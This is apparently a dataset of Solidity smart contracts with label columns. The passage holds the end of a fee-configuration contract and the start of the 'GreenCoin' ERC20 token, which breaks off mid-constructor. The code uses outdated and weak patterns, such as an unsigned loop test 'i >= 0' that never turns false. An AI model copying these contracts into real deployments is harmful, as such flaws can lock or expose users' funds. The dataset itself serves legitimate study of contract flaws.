require(a >= 0 && b >= 0 && b <= a);
return a - b;
}
function add_nn(int256 a, int256 b)
internal
pure
returns (int256)
{
require(a >= 0 && b >= 0);
int256 c = a + b;
require(c >= a);
return c;
}
function abs(int256 a)
public
pure
returns (int256)
{
return a < 0 ? neg(a) : a;
}
function neg(int256 a)
public
pure
returns (int256)
{
return mul(a, - 1);
}
function toNonZeroInt256(uint256 a)
public
pure
returns (int256)
{
require(a > 0 && a < (uint256(1) << 255));
return int256(a);
}
function toInt256(uint256 a)
public
pure
returns (int256)
{
require(a >= 0 && a < (uint256(1) << 255));
return int256(a);
}
function toUInt256(int256 a)
public
pure
returns (uint256)
{
require(a >= 0);
return uint256(a);
}
function isNonZeroPositiveInt256(int256 a)
public
pure
returns (bool)
{
return (a > 0);
}
function isPositiveInt256(int256 a)
public
pure
returns (bool)
{
return (a >= 0);
}
function isNonZeroNegativeInt256(int256 a)
public
pure
returns (bool)
{
return (a < 0);
}
function isNegativeInt256(int256 a)
public
pure
returns (bool)
{
return (a <= 0);
}
function clamp(int256 a, int256 min, int256 max)
public
pure
returns (int256)
{
if (a < min)
return min;
return (a > max) ? max : a;
}
function clampMin(int256 a, int256 min)
public
pure
returns (int256)
{
return (a < min) ? min : a;
}
function clampMax(int256 a, int256 max)
public
pure
returns (int256)
{
return (a > max) ? max : a;
}
}
library BlockNumbUintsLib {
struct Entry {
uint256 blockNumber;
uint256 value;
}
struct BlockNumbUints {
Entry[] entries;
}
function currentValue(BlockNumbUints storage self)
internal
view
returns (uint256)
{
return valueAt(self, block.number);
}
function currentEntry(BlockNumbUints storage self)
internal
view
returns (Entry)
{
return entryAt(self, block.number);
}
function valueAt(BlockNumbUints storage self, uint256 _blockNumber)
internal
view
returns (uint256)
{
return entryAt(self, _blockNumber).value;
}
function entryAt(BlockNumbUints storage self, uint256 _blockNumber)
internal
view
returns (Entry)
{
return self.entries[indexByBlockNumber(self, _blockNumber)];
}
function addEntry(BlockNumbUints storage self, uint256 blockNumber, uint256 value)
internal
{
require(
0 == self.entries.length ||
blockNumber > self.entries[self.entries.length - 1].blockNumber
);
self.entries.push(Entry(blockNumber, value));
}
function count(BlockNumbUints storage self)
internal
view
returns (uint256)
{
return self.entries.length;
}
function entries(BlockNumbUints storage self)
internal
view
returns (Entry[])
{
return self.entries;
}
function indexByBlockNumber(BlockNumbUints storage self, uint256 blockNumber)
internal
view
returns (uint256)
{
require(0 < self.entries.length);
for (uint256 i = self.entries.length - 1; i >= 0; i--)
if (blockNumber >= self.entries[i].blockNumber)
return i;
revert();
}
}
library BlockNumbIntsLib {
struct Entry {
uint256 blockNumber;
int256 value;
}
struct BlockNumbInts {
Entry[] entries;
}
function currentValue(BlockNumbInts storage self)
internal
view
returns (int256)
{
return valueAt(self, block.number);
}
function currentEntry(BlockNumbInts storage self)
internal
view
returns (Entry)
{
return entryAt(self, block.number);
}
function valueAt(BlockNumbInts storage self, uint256 _blockNumber)
internal
view
returns (int256)
{
return entryAt(self, _blockNumber).value;
}
function entryAt(BlockNumbInts storage self, uint256 _blockNumber)
internal
view
returns (Entry)
{
return self.entries[indexByBlockNumber(self, _blockNumber)];
}
function addEntry(BlockNumbInts storage self, uint256 blockNumber, int256 value)
internal
{
require(
0 == self.entries.length ||
blockNumber > self.entries[self.entries.length - 1].blockNumber
);
self.entries.push(Entry(blockNumber, value));
}
function count(BlockNumbInts storage self)
internal
view
returns (uint256)
{
return self.entries.length;
}
function entries(BlockNumbInts storage self)
internal
view
returns (Entry[])
{
return self.entries;
}
function indexByBlockNumber(BlockNumbInts storage self, uint256 blockNumber)
internal
view
returns (uint256)
{
require(0 < self.entries.length);
for (uint256 i = self.entries.length - 1; i >= 0; i--)
if (blockNumber >= self.entries[i].blockNumber)
return i;
revert();
}
}
library ConstantsLib {
function PARTS_PER()
public
pure
returns (int256)
{
return 1e18;
}
}
library BlockNumbDisdIntsLib {
using SafeMathIntLib for int256;
struct Discount {
int256 tier;
int256 value;
}
struct Entry {
uint256 blockNumber;
int256 nominal;
Discount[] discounts;
}
struct BlockNumbDisdInts {
Entry[] entries;
}
function currentNominalValue(BlockNumbDisdInts storage self)
internal
view
returns (int256)
{
return nominalValueAt(self, block.number);
}
function currentDiscountedValue(BlockNumbDisdInts storage self, int256 tier)
internal
view
returns (int256)
{
return discountedValueAt(self, block.number, tier);
}
function currentEntry(BlockNumbDisdInts storage self)
internal
view
returns (Entry)
{
return entryAt(self, block.number);
}
function nominalValueAt(BlockNumbDisdInts storage self, uint256 _blockNumber)
internal
view
returns (int256)
{
return entryAt(self, _blockNumber).nominal;
}
function discountedValueAt(BlockNumbDisdInts storage self, uint256 _blockNumber, int256 tier)
internal
view
returns (int256)
{
Entry memory entry = entryAt(self, _blockNumber);
if (0 < entry.discounts.length) {
uint256 index = indexByTier(entry.discounts, tier);
if (0 < index)
return entry.nominal.mul(
ConstantsLib.PARTS_PER().sub(entry.discounts[index - 1].value)
).div(
ConstantsLib.PARTS_PER()
);
else
return entry.nominal;
} else
return entry.nominal;
}
function entryAt(BlockNumbDisdInts storage self, uint256 _blockNumber)
internal
view
returns (Entry)
{
return self.entries[indexByBlockNumber(self, _blockNumber)];
}
function addNominalEntry(BlockNumbDisdInts storage self, uint256 blockNumber, int256 nominal)
internal
{
require(
0 == self.entries.length ||
blockNumber > self.entries[self.entries.length - 1].blockNumber
);
self.entries.length++;
Entry storage entry = self.entries[self.entries.length - 1];
entry.blockNumber = blockNumber;
entry.nominal = nominal;
}
function addDiscountedEntry(BlockNumbDisdInts storage self, uint256 blockNumber, int256 nominal,
int256[] discountTiers, int256[] discountValues)
internal
{
require(discountTiers.length == discountValues.length);
addNominalEntry(self, blockNumber, nominal);
Entry storage entry = self.entries[self.entries.length - 1];
for (uint256 i = 0; i < discountTiers.length; i++)
entry.discounts.push(Discount(discountTiers[i], discountValues[i]));
}
function count(BlockNumbDisdInts storage self)
internal
view
returns (uint256)
{
return self.entries.length;
}
function entries(BlockNumbDisdInts storage self)
internal
view
returns (Entry[])
{
return self.entries;
}
function indexByBlockNumber(BlockNumbDisdInts storage self, uint256 blockNumber)
internal
view
returns (uint256)
{
require(0 < self.entries.length);
for (uint256 i = self.entries.length - 1; i >= 0; i--)
if (blockNumber >= self.entries[i].blockNumber)
return i;
revert();
}
function indexByTier(Discount[] discounts, int256 tier)
internal
pure
returns (uint256)
{
require(0 < discounts.length);
for (uint256 i = discounts.length; i > 0; i--)
if (tier >= discounts[i - 1].tier)
return i;
return 0;
}
}
library MonetaryTypesLib {
struct Currency {
address ct;
uint256 id;
}
struct Figure {
int256 amount;
Currency currency;
}
struct NoncedAmount {
uint256 nonce;
int256 amount;
}
}
library BlockNumbReferenceCurrenciesLib {
struct Entry {
uint256 blockNumber;
MonetaryTypesLib.Currency currency;
}
struct BlockNumbReferenceCurrencies {
mapping(address => mapping(uint256 => Entry[])) entriesByCurrency;
}
function currentCurrency(BlockNumbReferenceCurrencies storage self, MonetaryTypesLib.Currency referenceCurrency)
internal
view
returns (MonetaryTypesLib.Currency storage)
{
return currencyAt(self, referenceCurrency, block.number);
}
function currentEntry(BlockNumbReferenceCurrencies storage self, MonetaryTypesLib.Currency referenceCurrency)
internal
view
returns (Entry storage)
{
return entryAt(self, referenceCurrency, block.number);
}
function currencyAt(BlockNumbReferenceCurrencies storage self, MonetaryTypesLib.Currency referenceCurrency,
uint256 _blockNumber)
internal
view
returns (MonetaryTypesLib.Currency storage)
{
return entryAt(self, referenceCurrency, _blockNumber).currency;
}
function entryAt(BlockNumbReferenceCurrencies storage self, MonetaryTypesLib.Currency referenceCurrency,
uint256 _blockNumber)
internal
view
returns (Entry storage)
{
return self.entriesByCurrency[referenceCurrency.ct][referenceCurrency.id][indexByBlockNumber(self, referenceCurrency, _blockNumber)];
}
function addEntry(BlockNumbReferenceCurrencies storage self, uint256 blockNumber,
MonetaryTypesLib.Currency referenceCurrency, MonetaryTypesLib.Currency currency)
internal
{
require(
0 == self.entriesByCurrency[referenceCurrency.ct][referenceCurrency.id].length ||
blockNumber > self.entriesByCurrency[referenceCurrency.ct][referenceCurrency.id][self.entriesByCurrency[referenceCurrency.ct][referenceCurrency.id].length - 1].blockNumber
);
self.entriesByCurrency[referenceCurrency.ct][referenceCurrency.id].push(Entry(blockNumber, currency));
}
function count(BlockNumbReferenceCurrencies storage self, MonetaryTypesLib.Currency referenceCurrency)
internal
view
returns (uint256)
{
return self.entriesByCurrency[referenceCurrency.ct][referenceCurrency.id].length;
}
function entriesByCurrency(BlockNumbReferenceCurrencies storage self, MonetaryTypesLib.Currency referenceCurrency)
internal
view
returns (Entry[] storage)
{
return self.entriesByCurrency[referenceCurrency.ct][referenceCurrency.id];
}
function indexByBlockNumber(BlockNumbReferenceCurrencies storage self, MonetaryTypesLib.Currency referenceCurrency, uint256 blockNumber)
internal
view
returns (uint256)
{
require(0 < self.entriesByCurrency[referenceCurrency.ct][referenceCurrency.id].length);
for (uint256 i = self.entriesByCurrency[referenceCurrency.ct][referenceCurrency.id].length - 1; i >= 0; i--)
if (blockNumber >= self.entriesByCurrency[referenceCurrency.ct][referenceCurrency.id][i].blockNumber)
return i;
revert();
}
}
library BlockNumbFiguresLib {
struct Entry {
uint256 blockNumber;
MonetaryTypesLib.Figure value;
}
struct BlockNumbFigures {
Entry[] entries;
}
function currentValue(BlockNumbFigures storage self)
internal
view
returns (MonetaryTypesLib.Figure storage)
{
return valueAt(self, block.number);
}
function currentEntry(BlockNumbFigures storage self)
internal
view
returns (Entry storage)
{
return entryAt(self, block.number);
}
function valueAt(BlockNumbFigures storage self, uint256 _blockNumber)
internal
view
returns (MonetaryTypesLib.Figure storage)
{
return entryAt(self, _blockNumber).value;
}
function entryAt(BlockNumbFigures storage self, uint256 _blockNumber)
internal
view
returns (Entry storage)
{
return self.entries[indexByBlockNumber(self, _blockNumber)];
}
function addEntry(BlockNumbFigures storage self, uint256 blockNumber, MonetaryTypesLib.Figure value)
internal
{
require(
0 == self.entries.length ||
blockNumber > self.entries[self.entries.length - 1].blockNumber
);
self.entries.push(Entry(blockNumber, value));
}
function count(BlockNumbFigures storage self)
internal
view
returns (uint256)
{
return self.entries.length;
}
function entries(BlockNumbFigures storage self)
internal
view
returns (Entry[] storage)
{
return self.entries;
}
function indexByBlockNumber(BlockNumbFigures storage self, uint256 blockNumber)
internal
view
returns (uint256)
{
require(0 < self.entries.length);
for (uint256 i = self.entries.length - 1; i >= 0; i--)
if (blockNumber >= self.entries[i].blockNumber)
return i;
revert();
}
}
contract Configuration is Modifiable, Ownable, Servable {
using SafeMathIntLib for int256;
using BlockNumbUintsLib for BlockNumbUintsLib.BlockNumbUints;
using BlockNumbIntsLib for BlockNumbIntsLib.BlockNumbInts;
using BlockNumbDisdIntsLib for BlockNumbDisdIntsLib.BlockNumbDisdInts;
using BlockNumbReferenceCurrenciesLib for BlockNumbReferenceCurrenciesLib.BlockNumbReferenceCurrencies;
using BlockNumbFiguresLib for BlockNumbFiguresLib.BlockNumbFigures;
string constant public OPERATIONAL_MODE_ACTION = "operational_mode";
enum OperationalMode {Normal, Exit}
OperationalMode public operationalMode = OperationalMode.Normal;
BlockNumbUintsLib.BlockNumbUints private updateDelayBlocksByBlockNumber;
BlockNumbUintsLib.BlockNumbUints private confirmationBlocksByBlockNumber;
BlockNumbDisdIntsLib.BlockNumbDisdInts private tradeMakerFeeByBlockNumber;
BlockNumbDisdIntsLib.BlockNumbDisdInts private tradeTakerFeeByBlockNumber;
BlockNumbDisdIntsLib.BlockNumbDisdInts private paymentFeeByBlockNumber;
mapping(address => mapping(uint256 => BlockNumbDisdIntsLib.BlockNumbDisdInts)) private currencyPaymentFeeByBlockNumber;
BlockNumbIntsLib.BlockNumbInts private tradeMakerMinimumFeeByBlockNumber;
BlockNumbIntsLib.BlockNumbInts private tradeTakerMinimumFeeByBlockNumber;
BlockNumbIntsLib.BlockNumbInts private paymentMinimumFeeByBlockNumber;
mapping(address => mapping(uint256 => BlockNumbIntsLib.BlockNumbInts)) private currencyPaymentMinimumFeeByBlockNumber;
BlockNumbReferenceCurrenciesLib.BlockNumbReferenceCurrencies private feeCurrencyByCurrencyBlockNumber;
BlockNumbUintsLib.BlockNumbUints private walletLockTimeoutByBlockNumber;
BlockNumbUintsLib.BlockNumbUints private cancelOrderChallengeTimeoutByBlockNumber;
BlockNumbUintsLib.BlockNumbUints private settlementChallengeTimeoutByBlockNumber;
BlockNumbUintsLib.BlockNumbUints private fraudStakeFractionByBlockNumber;
BlockNumbUintsLib.BlockNumbUints private walletSettlementStakeFractionByBlockNumber;
BlockNumbUintsLib.BlockNumbUints private operatorSettlementStakeFractionByBlockNumber;
BlockNumbFiguresLib.BlockNumbFigures private operatorSettlementStakeByBlockNumber;
uint256 public earliestSettlementBlockNumber;
bool public earliestSettlementBlockNumberUpdateDisabled;
event SetOperationalModeExitEvent();
event SetUpdateDelayBlocksEvent(uint256 fromBlockNumber, uint256 newBlocks);
event SetConfirmationBlocksEvent(uint256 fromBlockNumber, uint256 newBlocks);
event SetTradeMakerFeeEvent(uint256 fromBlockNumber, int256 nominal, int256[] discountTiers, int256[] discountValues);
event SetTradeTakerFeeEvent(uint256 fromBlockNumber, int256 nominal, int256[] discountTiers, int256[] discountValues);
event SetPaymentFeeEvent(uint256 fromBlockNumber, int256 nominal, int256[] discountTiers, int256[] discountValues);
event SetCurrencyPaymentFeeEvent(uint256 fromBlockNumber, address currencyCt, uint256 currencyId, int256 nominal,
int256[] discountTiers, int256[] discountValues);
event SetTradeMakerMinimumFeeEvent(uint256 fromBlockNumber, int256 nominal);
event SetTradeTakerMinimumFeeEvent(uint256 fromBlockNumber, int256 nominal);
event SetPaymentMinimumFeeEvent(uint256 fromBlockNumber, int256 nominal);
event SetCurrencyPaymentMinimumFeeEvent(uint256 fromBlockNumber, address currencyCt, uint256 currencyId, int256 nominal);
event SetFeeCurrencyEvent(uint256 fromBlockNumber, address referenceCurrencyCt, uint256 referenceCurrencyId,
address feeCurrencyCt, uint256 feeCurrencyId);
event SetWalletLockTimeoutEvent(uint256 fromBlockNumber, uint256 timeoutInSeconds);
event SetCancelOrderChallengeTimeoutEvent(uint256 fromBlockNumber, uint256 timeoutInSeconds);
event SetSettlementChallengeTimeoutEvent(uint256 fromBlockNumber, uint256 timeoutInSeconds);
event SetWalletSettlementStakeFractionEvent(uint256 fromBlockNumber, uint256 stakeFraction);
event SetOperatorSettlementStakeFractionEvent(uint256 fromBlockNumber, uint256 stakeFraction);
event SetOperatorSettlementStakeEvent(uint256 fromBlockNumber, int256 stakeAmount, address stakeCurrencyCt,
uint256 stakeCurrencyId);
event SetFraudStakeFractionEvent(uint256 fromBlockNumber, uint256 stakeFraction);
event SetEarliestSettlementBlockNumberEvent(uint256 earliestSettlementBlockNumber);
event DisableEarliestSettlementBlockNumberUpdateEvent();
constructor(address deployer) Ownable(deployer) public {
updateDelayBlocksByBlockNumber.addEntry(block.number, 0);
}
function setOperationalModeExit()
public
onlyEnabledServiceAction(OPERATIONAL_MODE_ACTION)
{
operationalMode = OperationalMode.Exit;
emit SetOperationalModeExitEvent();
}
function isOperationalModeNormal()
public
view
returns (bool)
{
return OperationalMode.Normal == operationalMode;
}
function isOperationalModeExit()
public
view
returns (bool)
{
return OperationalMode.Exit == operationalMode;
}
function updateDelayBlocks()
public
view
returns (uint256)
{
return updateDelayBlocksByBlockNumber.currentValue();
}
function updateDelayBlocksCount()
public
view
returns (uint256)
{
return updateDelayBlocksByBlockNumber.count();
}
function setUpdateDelayBlocks(uint256 fromBlockNumber, uint256 newUpdateDelayBlocks)
public
onlyOperator
onlyDelayedBlockNumber(fromBlockNumber)
{
updateDelayBlocksByBlockNumber.addEntry(fromBlockNumber, newUpdateDelayBlocks);
emit SetUpdateDelayBlocksEvent(fromBlockNumber, newUpdateDelayBlocks);
}
function confirmationBlocks()
public
view
returns (uint256)
{
return confirmationBlocksByBlockNumber.currentValue();
}
function confirmationBlocksCount()
public
view
returns (uint256)
{
return confirmationBlocksByBlockNumber.count();
}
function setConfirmationBlocks(uint256 fromBlockNumber, uint256 newConfirmationBlocks)
public
onlyOperator
onlyDelayedBlockNumber(fromBlockNumber)
{
confirmationBlocksByBlockNumber.addEntry(fromBlockNumber, newConfirmationBlocks);
emit SetConfirmationBlocksEvent(fromBlockNumber, newConfirmationBlocks);
}
function tradeMakerFeesCount()
public
view
returns (uint256)
{
return tradeMakerFeeByBlockNumber.count();
}
function tradeMakerFee(uint256 blockNumber, int256 discountTier)
public
view
returns (int256)
{
return tradeMakerFeeByBlockNumber.discountedValueAt(blockNumber, discountTier);
}
function setTradeMakerFee(uint256 fromBlockNumber, int256 nominal, int256[] discountTiers, int256[] discountValues)
public
onlyOperator
onlyDelayedBlockNumber(fromBlockNumber)
{
tradeMakerFeeByBlockNumber.addDiscountedEntry(fromBlockNumber, nominal, discountTiers, discountValues);
emit SetTradeMakerFeeEvent(fromBlockNumber, nominal, discountTiers, discountValues);
}
function tradeTakerFeesCount()
public
view
returns (uint256)
{
return tradeTakerFeeByBlockNumber.count();
}
function tradeTakerFee(uint256 blockNumber, int256 discountTier)
public
view
returns (int256)
{
return tradeTakerFeeByBlockNumber.discountedValueAt(blockNumber, discountTier);
}
function setTradeTakerFee(uint256 fromBlockNumber, int256 nominal, int256[] discountTiers, int256[] discountValues)
public
onlyOperator
onlyDelayedBlockNumber(fromBlockNumber)
{
tradeTakerFeeByBlockNumber.addDiscountedEntry(fromBlockNumber, nominal, discountTiers, discountValues);
emit SetTradeTakerFeeEvent(fromBlockNumber, nominal, discountTiers, discountValues);
}
function paymentFeesCount()
public
view
returns (uint256)
{
return paymentFeeByBlockNumber.count();
}
function paymentFee(uint256 blockNumber, int256 discountTier)
public
view
returns (int256)
{
return paymentFeeByBlockNumber.discountedValueAt(blockNumber, discountTier);
}
function setPaymentFee(uint256 fromBlockNumber, int256 nominal, int256[] discountTiers, int256[] discountValues)
public
onlyOperator
onlyDelayedBlockNumber(fromBlockNumber)
{
paymentFeeByBlockNumber.addDiscountedEntry(fromBlockNumber, nominal, discountTiers, discountValues);
emit SetPaymentFeeEvent(fromBlockNumber, nominal, discountTiers, discountValues);
}
function currencyPaymentFeesCount(address currencyCt, uint256 currencyId)
public
view
returns (uint256)
{
return currencyPaymentFeeByBlockNumber[currencyCt][currencyId].count();
}
function currencyPaymentFee(uint256 blockNumber, address currencyCt, uint256 currencyId, int256 discountTier)
public
view
returns (int256)
{
if (0 < currencyPaymentFeeByBlockNumber[currencyCt][currencyId].count())
return currencyPaymentFeeByBlockNumber[currencyCt][currencyId].discountedValueAt(
blockNumber, discountTier
);
else
return paymentFee(blockNumber, discountTier);
}
function setCurrencyPaymentFee(uint256 fromBlockNumber, address currencyCt, uint256 currencyId, int256 nominal,
int256[] discountTiers, int256[] discountValues)
public
onlyOperator
onlyDelayedBlockNumber(fromBlockNumber)
{
currencyPaymentFeeByBlockNumber[currencyCt][currencyId].addDiscountedEntry(
fromBlockNumber, nominal, discountTiers, discountValues
);
emit SetCurrencyPaymentFeeEvent(
fromBlockNumber, currencyCt, currencyId, nominal, discountTiers, discountValues
);
}
function tradeMakerMinimumFeesCount()
public
view
returns (uint256)
{
return tradeMakerMinimumFeeByBlockNumber.count();
}
function tradeMakerMinimumFee(uint256 blockNumber)
public
view
returns (int256)
{
return tradeMakerMinimumFeeByBlockNumber.valueAt(blockNumber);
}
function setTradeMakerMinimumFee(uint256 fromBlockNumber, int256 nominal)
public
onlyOperator
onlyDelayedBlockNumber(fromBlockNumber)
{
tradeMakerMinimumFeeByBlockNumber.addEntry(fromBlockNumber, nominal);
emit SetTradeMakerMinimumFeeEvent(fromBlockNumber, nominal);
}
function tradeTakerMinimumFeesCount()
public
view
returns (uint256)
{
return tradeTakerMinimumFeeByBlockNumber.count();
}
function tradeTakerMinimumFee(uint256 blockNumber)
public
view
returns (int256)
{
return tradeTakerMinimumFeeByBlockNumber.valueAt(blockNumber);
}
function setTradeTakerMinimumFee(uint256 fromBlockNumber, int256 nominal)
public
onlyOperator
onlyDelayedBlockNumber(fromBlockNumber)
{
tradeTakerMinimumFeeByBlockNumber.addEntry(fromBlockNumber, nominal);
emit SetTradeTakerMinimumFeeEvent(fromBlockNumber, nominal);
}
function paymentMinimumFeesCount()
public
view
returns (uint256)
{
return paymentMinimumFeeByBlockNumber.count();
}
function paymentMinimumFee(uint256 blockNumber)
public
view
returns (int256)
{
return paymentMinimumFeeByBlockNumber.valueAt(blockNumber);
}
function setPaymentMinimumFee(uint256 fromBlockNumber, int256 nominal)
public
onlyOperator
onlyDelayedBlockNumber(fromBlockNumber)
{
paymentMinimumFeeByBlockNumber.addEntry(fromBlockNumber, nominal);
emit SetPaymentMinimumFeeEvent(fromBlockNumber, nominal);
}
function currencyPaymentMinimumFeesCount(address currencyCt, uint256 currencyId)
public
view
returns (uint256)
{
return currencyPaymentMinimumFeeByBlockNumber[currencyCt][currencyId].count();
}
function currencyPaymentMinimumFee(uint256 blockNumber, address currencyCt, uint256 currencyId)
public
view
returns (int256)
{
if (0 < currencyPaymentMinimumFeeByBlockNumber[currencyCt][currencyId].count())
return currencyPaymentMinimumFeeByBlockNumber[currencyCt][currencyId].valueAt(blockNumber);
else
return paymentMinimumFee(blockNumber);
}
function setCurrencyPaymentMinimumFee(uint256 fromBlockNumber, address currencyCt, uint256 currencyId, int256 nominal)
public
onlyOperator
onlyDelayedBlockNumber(fromBlockNumber)
{
currencyPaymentMinimumFeeByBlockNumber[currencyCt][currencyId].addEntry(fromBlockNumber, nominal);
emit SetCurrencyPaymentMinimumFeeEvent(fromBlockNumber, currencyCt, currencyId, nominal);
}
function feeCurrenciesCount(address currencyCt, uint256 currencyId)
public
view
returns (uint256)
{
return feeCurrencyByCurrencyBlockNumber.count(MonetaryTypesLib.Currency(currencyCt, currencyId));
}
function feeCurrency(uint256 blockNumber, address currencyCt, uint256 currencyId)
public
view
returns (address ct, uint256 id)
{
MonetaryTypesLib.Currency storage _feeCurrency = feeCurrencyByCurrencyBlockNumber.currencyAt(
MonetaryTypesLib.Currency(currencyCt, currencyId), blockNumber
);
ct = _feeCurrency.ct;
id = _feeCurrency.id;
}
function setFeeCurrency(uint256 fromBlockNumber, address referenceCurrencyCt, uint256 referenceCurrencyId,
address feeCurrencyCt, uint256 feeCurrencyId)
public
onlyOperator
onlyDelayedBlockNumber(fromBlockNumber)
{
feeCurrencyByCurrencyBlockNumber.addEntry(
fromBlockNumber,
MonetaryTypesLib.Currency(referenceCurrencyCt, referenceCurrencyId),
MonetaryTypesLib.Currency(feeCurrencyCt, feeCurrencyId)
);
emit SetFeeCurrencyEvent(fromBlockNumber, referenceCurrencyCt, referenceCurrencyId,
feeCurrencyCt, feeCurrencyId);
}
function walletLockTimeout()
public
view
returns (uint256)
{
return walletLockTimeoutByBlockNumber.currentValue();
}
function setWalletLockTimeout(uint256 fromBlockNumber, uint256 timeoutInSeconds)
public
onlyOperator
onlyDelayedBlockNumber(fromBlockNumber)
{
walletLockTimeoutByBlockNumber.addEntry(fromBlockNumber, timeoutInSeconds);
emit SetWalletLockTimeoutEvent(fromBlockNumber, timeoutInSeconds);
}
function cancelOrderChallengeTimeout()
public
view
returns (uint256)
{
return cancelOrderChallengeTimeoutByBlockNumber.currentValue();
}
function setCancelOrderChallengeTimeout(uint256 fromBlockNumber, uint256 timeoutInSeconds)
public
onlyOperator
onlyDelayedBlockNumber(fromBlockNumber)
{
cancelOrderChallengeTimeoutByBlockNumber.addEntry(fromBlockNumber, timeoutInSeconds);
emit SetCancelOrderChallengeTimeoutEvent(fromBlockNumber, timeoutInSeconds);
}
function settlementChallengeTimeout()
public
view
returns (uint256)
{
return settlementChallengeTimeoutByBlockNumber.currentValue();
}
function setSettlementChallengeTimeout(uint256 fromBlockNumber, uint256 timeoutInSeconds)
public
onlyOperator
onlyDelayedBlockNumber(fromBlockNumber)
{
settlementChallengeTimeoutByBlockNumber.addEntry(fromBlockNumber, timeoutInSeconds);
emit SetSettlementChallengeTimeoutEvent(fromBlockNumber, timeoutInSeconds);
}
function fraudStakeFraction()
public
view
returns (uint256)
{
return fraudStakeFractionByBlockNumber.currentValue();
}
function setFraudStakeFraction(uint256 fromBlockNumber, uint256 stakeFraction)
public
onlyOperator
onlyDelayedBlockNumber(fromBlockNumber)
{
fraudStakeFractionByBlockNumber.addEntry(fromBlockNumber, stakeFraction);
emit SetFraudStakeFractionEvent(fromBlockNumber, stakeFraction);
}
function walletSettlementStakeFraction()
public
view
returns (uint256)
{
return walletSettlementStakeFractionByBlockNumber.currentValue();
}
function setWalletSettlementStakeFraction(uint256 fromBlockNumber, uint256 stakeFraction)
public
onlyOperator
onlyDelayedBlockNumber(fromBlockNumber)
{
walletSettlementStakeFractionByBlockNumber.addEntry(fromBlockNumber, stakeFraction);
emit SetWalletSettlementStakeFractionEvent(fromBlockNumber, stakeFraction);
}
function operatorSettlementStakeFraction()
public
view
returns (uint256)
{
return operatorSettlementStakeFractionByBlockNumber.currentValue();
}
function setOperatorSettlementStakeFraction(uint256 fromBlockNumber, uint256 stakeFraction)
public
onlyOperator
onlyDelayedBlockNumber(fromBlockNumber)
{
operatorSettlementStakeFractionByBlockNumber.addEntry(fromBlockNumber, stakeFraction);
emit SetOperatorSettlementStakeFractionEvent(fromBlockNumber, stakeFraction);
}
function operatorSettlementStake()
public
view
returns (int256 amount, address currencyCt, uint256 currencyId)
{
MonetaryTypesLib.Figure storage stake = operatorSettlementStakeByBlockNumber.currentValue();
amount = stake.amount;
currencyCt = stake.currency.ct;
currencyId = stake.currency.id;
}
function setOperatorSettlementStake(uint256 fromBlockNumber, int256 stakeAmount,
address stakeCurrencyCt, uint256 stakeCurrencyId)
public
onlyOperator
onlyDelayedBlockNumber(fromBlockNumber)
{
MonetaryTypesLib.Figure memory stake = MonetaryTypesLib.Figure(stakeAmount, MonetaryTypesLib.Currency(stakeCurrencyCt, stakeCurrencyId));
operatorSettlementStakeByBlockNumber.addEntry(fromBlockNumber, stake);
emit SetOperatorSettlementStakeEvent(fromBlockNumber, stakeAmount, stakeCurrencyCt, stakeCurrencyId);
}
function setEarliestSettlementBlockNumber(uint256 _earliestSettlementBlockNumber)
public
onlyOperator
{
earliestSettlementBlockNumber = _earliestSettlementBlockNumber;
emit SetEarliestSettlementBlockNumberEvent(earliestSettlementBlockNumber);
}
function disableEarliestSettlementBlockNumberUpdate()
public
onlyOperator
{
earliestSettlementBlockNumberUpdateDisabled = true;
emit DisableEarliestSettlementBlockNumberUpdateEvent();
}
modifier onlyDelayedBlockNumber(uint256 blockNumber) {
require(
0 == updateDelayBlocksByBlockNumber.count() ||
blockNumber >= block.number + updateDelayBlocksByBlockNumber.currentValue()
);
_;
}
} | 1 | 4,850 |
pragma solidity ^0.4.16;
library SafeMath {
function mul(uint256 a, uint256 b) constant public returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) constant public returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) constant public returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) constant public returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
if(msg.sender == owner){
_;
}
else{
revert();
}
}
function transferOwnership(address newOwner) onlyOwner public{
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant public returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant public returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant public returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
if(!mintingFinished){
_;
}
else{
revert();
}
}
function mint(address _to, uint256 _amount) canMint internal returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0),_to,_amount);
return true;
}
function finishMinting() internal returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract GreenCoin is MintableToken{
string public constant name = "Green Coin";
string public constant symbol = "GREEN";
uint8 public constant decimals = 18;
uint256 public constant MaxSupply = 10**18*10**7 ;
uint256 public _startTime = 0 ;
function GreenCoin(){
mint(address(0x7704C758db402bB7B1c2BbadA8af43B6B758B794),4000*10**18);
